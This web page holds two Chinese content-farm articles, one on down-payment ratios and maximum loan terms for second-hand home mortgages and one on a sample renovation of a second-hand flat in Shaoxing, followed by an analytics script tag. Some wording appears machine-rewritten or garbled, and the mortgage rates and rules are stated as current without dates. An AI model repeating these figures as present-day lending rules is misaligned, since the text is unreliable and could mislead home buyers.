二手房可以按揭几成 二手房最多能贷多少年?

如今很多的房地产在开盘时取得预售证以后就开始销售房产，而此时的房价也会相对便宜一些，一旦房屋建成以后，房价也会增长，而且剩余楼层和户型也不是很好，所以很多觉得期房不靠谱的人们，一般会选择购买二手房。但是二手房也有很多不靠谱的地方，大家购买时还需要谨慎。今天小编先给大家说一下购买二手房可以按揭几成?最多能贷款多少年?二手房可以按揭几成?一、首先我们要了解购房者有没有房产，有一套还是两套。1、如果购房者没有房产的，也就是首套二手房，那么二手房贷的首付不低于30%，这里说的30%值得不是成交较而是评估价。而二手房贷款式根据二手房评估作为参考的，而一般评估价都低于市场价格。2、如果购房者都有了一套房产，那么他在二手房首付的时候比例就应该是70%左右，而基准利率目前为6.55%部分银行首套可以做到85折。3、三套房产的情况，如果需要向银行贷款购买二手房的话那么根据规定是不予贷款的。二、二手房贷款首付比例为多少分为以下三种个情况。1、如果上家已经还清了房贷，而且购房者资质很好，就能获得只用支付2成的二手房贷款首付。2、如果上家已经没有偿还清楚贷款的，而且还要求购房者配合还贷的情况，最安全的做法是走资金监管程序。这样首付3成的二手房贷即可。3、如果购房者资金充足，可以一次性支付清楚，这样就不存在首付和房贷的问题了。二手房最多能贷多少年?一、与房龄有关：一般是30年内房龄，最长贷款年限计算：贷款年限+房龄<50(各银行间有差异)二、与贷款人的年龄有关：1、个人住房贷款最长期限为30年;2、个人商业用房贷款最长期限为10年;3、男士年龄不超过60岁，60-你的年龄为男士最长贷款年限;4、女士年龄不超过55岁;55-你的年龄为女士最长贷款年限。二手房的购买首付情况除了和你所拥有的房产情况有一定关系以外，还和你所购买的二手房是否有贷款情款有关系，相对新房而言，二手房贷款情况要更复杂一些，不过如果有中介介入的话，个人需要考虑的问题也就很少了，中介一般都会办妥。小编在上文中也做了一些关于二手房按揭情况的一些介绍，大家可做参考。

请问一下绍兴二手房装修要怎样做

最近，我们发现每个人都在问如何装饰绍兴二手房装修。我们应该注意什么？实际装修是根据不同的业主和不同的情况，俗话说，具体分析了问题所在，今天我们为您提供一套绍兴二手房装修的案例作为参考，希望能帮助装修的朋友。一、客厅项目绍兴二手房装修的客厅不大，中央空调是非常节省空间的！整个客厅都可以布置小家具，显得很轻松，很不拘束。你也可以在客厅后面做一个开放的书房！玻璃隔断门是亮点！背景墙是简单的灰色设计！如果空间小，不要堆很多东西。留一个合适的空白比较舒服。绍兴二手房装修在做客厅预算时，有些地方需要特别注意。施工项目和工程位置，如“天花板”，应指出天花板的位置和施工项目的规模。吊顶为吊顶时，吊顶总面积；施工项目所用材料，包括主要材料和辅助材料。二。卧室工程卧室也很简单！简单的现代风格就是简单！可以放两盏灯。卧室边也可以做一个小书桌，你可以去看书！三。厨房卫生工程餐厅旁边的客厅，其实这个空间也相当小，所以做了一个卡座，还可以作为凳子和储藏物，一举两得！卡座上有一个收纳柜，不仅美观，而且具有收据功能。厨房有L形橱柜！放进一个双门冰箱就行了！厨房和浴室瓷砖不仅可以追求美观，如果不均匀的瓷砖表面不经常擦洗，很长一段时间，油脂会粘附在裂缝和微孔上，难以去除，从而影响厨房和浴室的清洁和美观。绍兴二手房装修的浴室很小，这样的小地方也可以完全功能干湿分区哟！如果主人想要一个淋浴房，但面积太小，把淋浴房插进去是很难看的！所以浴室的窗帘隔断也很棒！四、水电等工程水电安装时，必须对该部分进行良好的监督，后期不能出现问题。五。主要材料绍兴二手房装修最好选择全包装维修，其中主要材料的包装，也可以与装修公司讨论，一般正式装修公司不会严格规定主要材料的。上面是一个简单的绍兴二手房装修，希望你喜欢！​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();